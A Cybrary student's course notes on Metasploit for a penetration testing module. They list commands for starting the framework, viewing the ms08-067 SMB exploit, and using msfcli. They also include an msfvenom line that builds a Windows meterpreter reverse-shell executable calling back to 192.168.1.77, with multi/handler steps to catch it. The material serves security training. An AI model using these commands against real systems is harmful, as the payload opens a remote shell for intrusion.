< All Advanced Penetration Testing Notes

sau206 | Advanced Penetration Testing | Module 3 - Metasploit

By: sau206 | Related Course: Advanced Penetration Testing | Published: December 13, 2016 | Modified: December 16, 2016
Join Cybrary

Notepadmetasploit 3

service postgresql start

service metasploit start

info exploit/windows/smb/ms08-07-netapi –  info about exploit

show targets


Notepadmsfcli

msfcli -h

 

E – to execute


Notepadmsfvenom

msfvenom –  encapsulate msfpayload and msfencode. –  into a single module

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.77 LPORT=1234 -f exe > meterpreter.exe

to display list of options available

msfvenom -p windows/meterpreter/reverse_tcp -o +Enter

 

msfvenom –help-formats

msfconsole

>info exploit/multi/handler

>use multi/handler

>set payload

>set lhost,lport – >lport should be same as what we used in payload(meterpreter.exe)


< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge

 

Cybrary|0P3N

Is Linux Worth Learning in 2020?
Views: 868 / December 14, 2019
How do I Get MTA Certified?
Views: 1423 / December 12, 2019
How much does your PAM software really cost?
Views: 1860 / December 10, 2019
How Do I Get into Android Development?
Views: 2249 / December 8, 2019

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel